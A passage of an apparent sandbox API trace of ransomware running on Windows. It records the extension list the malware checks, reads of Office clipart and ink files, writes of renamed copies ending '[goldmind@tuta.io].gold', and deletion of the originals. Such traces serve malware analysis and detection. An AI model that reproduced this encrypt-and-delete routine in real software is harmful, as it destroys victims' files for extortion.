(lpString1=".dbf", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString=".1cd") returned 4 [0116.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString=".jpg") returned 4 [0116.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString=".doc") returned 4 [0116.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".docx") returned 5 [0116.194] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0116.194] lstrlenW (lpString=".pdf") returned 4 [0116.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".xls") returned 4 [0116.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.194] lstrlenW (lpString=".xlsx") returned 5 [0116.194] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0116.194] lstrlenW (lpString=".ppt") returned 4 [0116.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.194] lstrlenW (lpString=".zip") returned 4 [0116.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.194] lstrlenW (lpString=".rar") returned 4 [0116.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".bz2") returned 4 [0116.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.194] lstrlenW (lpString=".7z") returned 3 [0116.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.195] lstrlenW (lpString=".dbf") returned 4 [0116.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.195] lstrlenW (lpString=".1cd") returned 4 [0116.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0116.195] lstrlenW (lpString=".jpg") returned 4 [0116.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.195] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.195] lstrlenW (lpString="J0232171.WMF") returned 12 [0116.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.196] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=13098) returned 1 [0116.196] CloseHandle (hObject=0x398) returned 1 [0116.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf")) returned 0x20 [0116.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0116.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0116.196] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.196] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0116.197] GetLastError () returned 0x0 [0116.197] ReadFile (in: hFile=0x398, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x332a, lpOverlapped=0x0) returned 1 [0116.209] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0116.210] ReadFile (in: hFile=0x398, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0116.210] WriteFile (in: hFile=0x3f8, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0116.210] SetEndOfFile (hFile=0x3f8) returned 1 [0116.210] CloseHandle (hObject=0x3f8) returned 1 [0116.210] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0116.210] SetEndOfFile (hFile=0x398) returned 1 [0116.214] CloseHandle (hObject=0x398) returned 1 [0116.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0116.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf")) returned 1 [0116.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.215] lstrlenW (lpString=".doc") returned 4 [0116.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.215] lstrlenW (lpString=".docx") returned 5 [0116.215] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0116.215] lstrlenW (lpString=".pdf") returned 4 [0116.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.215] lstrlenW (lpString=".xls") returned 4 [0116.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.215] lstrlenW (lpString=".xlsx") returned 5 [0116.215] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0116.215] lstrlenW (lpString=".ppt") returned 4 [0116.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".zip") returned 4 [0116.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.216] lstrlenW (lpString=".rar") returned 4 [0116.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString=".bz2") returned 4 [0116.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString=".7z") returned 3 [0116.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".dbf") returned 4 [0116.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".1cd") returned 4 [0116.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".jpg") returned 4 [0116.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".doc") returned 4 [0116.216] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString=".docx") returned 5 [0116.216] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0116.216] lstrlenW (lpString=".pdf") returned 4 [0116.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString=".xls") returned 4 [0116.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0116.216] lstrlenW (lpString=".xlsx") returned 5 [0116.216] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0116.216] lstrlenW (lpString=".ppt") returned 4 [0116.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".zip") returned 4 [0116.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0116.216] lstrlenW (lpString=".rar") returned 4 [0116.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString=".bz2") returned 4 [0116.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString=".7z") returned 3 [0116.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".dbf") returned 4 [0116.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0116.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.216] lstrlenW (lpString=".1cd") returned 4 [0116.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0116.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0116.217] lstrlenW (lpString=".jpg") returned 4 [0116.217] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0116.217] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0116.217] lstrlenW (lpString="J0232395.WMF") returned 12 [0116.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 58 os_tid = 0x698 [0086.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5af178 [0086.898] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5bf180 [0086.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541228 [0086.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53efb8 [0086.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541240 [0086.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x38b0020 [0086.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541258 [0086.899] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541258, Size=0x20) returned 0x55e8d8 [0086.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541258 [0086.899] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541258, Size=0x20) returned 0x55e8b0 [0086.899] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0086.899] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0086.900] Wow64DisableWow64FsRedirection (in: OldValue=0x2c5ff58 | out: OldValue=0x2c5ff58*=0x0) returned 1 [0086.900] lstrlenW (lpString="kernel32.dll") returned 12 [0086.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e8d8 | out: hHeap=0x4f0000) returned 1 [0086.900] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0086.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e8b0 | out: hHeap=0x4f0000) returned 1 [0086.900] Sleep (dwMilliseconds=0x64) [0087.346] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.346] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0087.346] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3584) returned 1 [0087.346] CloseHandle (hObject=0x1d4) returned 1 [0087.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui")) returned 0x20 [0087.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.347] lstrlenW (lpString=".doc") returned 4 [0087.348] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.348] lstrlenW (lpString=".docx") returned 5 [0087.348] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.348] lstrlenW (lpString=".pdf") returned 4 [0087.348] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.348] lstrlenW (lpString=".xls") returned 4 [0087.348] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.348] lstrlenW (lpString=".xlsx") returned 5 [0087.348] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.348] lstrlenW (lpString=".ppt") returned 4 [0087.348] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.348] lstrlenW (lpString=".zip") returned 4 [0087.348] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.348] lstrlenW (lpString=".rar") returned 4 [0087.348] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.348] lstrlenW (lpString=".bz2") returned 4 [0087.348] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.348] lstrlenW (lpString=".7z") returned 3 [0087.348] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.348] lstrlenW (lpString=".dbf") returned 4 [0087.348] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.348] lstrlenW (lpString=".1cd") returned 4 [0087.348] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.348] lstrlenW (lpString=".jpg") returned 4 [0087.348] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.348] lstrlenW (lpString=".doc") returned 4 [0087.348] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.348] lstrlenW (lpString=".docx") returned 5 [0087.348] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.348] lstrlenW (lpString=".pdf") returned 4 [0087.348] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.348] lstrlenW (lpString=".xls") returned 4 [0087.348] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.348] lstrlenW (lpString=".xlsx") returned 5 [0087.348] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.348] lstrlenW (lpString=".ppt") returned 4 [0087.348] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.349] lstrlenW (lpString=".zip") returned 4 [0087.349] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.349] lstrlenW (lpString=".rar") returned 4 [0087.349] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.349] lstrlenW (lpString=".bz2") returned 4 [0087.349] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.349] lstrlenW (lpString=".7z") returned 3 [0087.349] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.349] lstrlenW (lpString=".dbf") returned 4 [0087.349] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.349] lstrlenW (lpString=".1cd") returned 4 [0087.349] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui") returned 72 [0087.349] lstrlenW (lpString=".jpg") returned 4 [0087.349] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.349] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.349] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0087.349] GetFileSizeEx (in: hFile=0x1d4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=3584) returned 1 [0087.349] CloseHandle (hObject=0x1d4) returned 1 [0087.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui")) returned 0x20 [0087.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.350] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.350] lstrlenW (lpString=".doc") returned 4 [0087.350] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.350] lstrlenW (lpString=".docx") returned 5 [0087.350] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.350] lstrlenW (lpString=".pdf") returned 4 [0087.350] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.350] lstrlenW (lpString=".xls") returned 4 [0087.350] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.350] lstrlenW (lpString=".xlsx") returned 5 [0087.350] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.350] lstrlenW (lpString=".ppt") returned 4 [0087.350] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.350] lstrlenW (lpString=".zip") returned 4 [0087.350] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.350] lstrlenW (lpString=".rar") returned 4 [0087.350] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.350] lstrlenW (lpString=".bz2") returned 4 [0087.350] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.350] lstrlenW (lpString=".7z") returned 3 [0087.350] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.350] lstrlenW (lpString=".dbf") returned 4 [0087.350] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.350] lstrlenW (lpString=".1cd") returned 4 [0087.350] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.350] lstrlenW (lpString=".jpg") returned 4 [0087.350] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.351] lstrlenW (lpString=".doc") returned 4 [0087.351] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.351] lstrlenW (lpString=".docx") returned 5 [0087.351] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.351] lstrlenW (lpString=".pdf") returned 4 [0087.351] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0087.351] lstrlenW (lpString=".xls") returned 4 [0087.351] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0087.351] lstrlenW (lpString=".xlsx") returned 5 [0087.351] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0087.351] lstrlenW (lpString=".ppt") returned 4 [0087.351] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0087.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.351] lstrlenW (lpString=".zip") returned 4 [0087.351] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0087.351] lstrlenW (lpString=".rar") returned 4 [0087.351] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0087.351] lstrlenW (lpString=".bz2") returned 4 [0087.351] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.351] lstrlenW (lpString=".7z") returned 3 [0087.351] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.351] lstrlenW (lpString=".dbf") returned 4 [0087.351] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.351] lstrlenW (lpString=".1cd") returned 4 [0087.351] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.351] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui") returned 72 [0087.351] lstrlenW (lpString=".jpg") returned 4 [0087.351] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.351] Sleep (dwMilliseconds=0x64) [0087.580] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0087.580] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0087.581] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=4096) returned 1 [0087.581] CloseHandle (hObject=0x238) returned 1 [0087.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui")) 